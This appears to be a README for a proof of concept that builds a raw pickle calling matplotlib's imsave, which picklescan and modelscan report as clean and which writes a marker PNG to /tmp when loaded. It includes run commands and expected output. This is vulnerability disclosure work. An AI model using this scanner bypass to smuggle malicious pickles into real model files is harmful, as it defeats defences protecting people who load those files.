| # Matplotlib imsave pickle-scanner bypass PoC | |
| This PoC builds a raw pickle that uses a direct `STACK_GLOBAL` reference to: | |
| ```text | |
| module = "matplotlib.pyplot" | |
| name = "imsave" | |
| ``` | |
| Both `picklescan==1.0.4` and `modelscan==0.8.8` report the pickle clean. A normal `pickle.load()` then creates `/tmp/mfv_matplotlib_imsave_scanner_bypass_20260624.png` as a PNG image. | |
| Run: | |
| ```bash | |
| python3 -m venv /tmp/matplotlib-imsave-scanner-bypass-venv | |
| /tmp/matplotlib-imsave-scanner-bypass-venv/bin/python -m pip install --upgrade pip | |
| /tmp/matplotlib-imsave-scanner-bypass-venv/bin/python -m pip install -r requirements.txt | |
| /tmp/matplotlib-imsave-scanner-bypass-venv/bin/python reproduce_matplotlib_imsave_scanner_bypass.py | |
| ``` | |
| Expected: | |
| ```text | |
| picklescan_clean=True | |
| modelscan_clean=True | |
| load_success=True | |
| marker_exists=True | |
| png_magic_matches=True | |
| REPRO_OK | |
| ``` | |
| The payload is generated with raw pickle opcodes and does not contain `builtins.getattr`. | |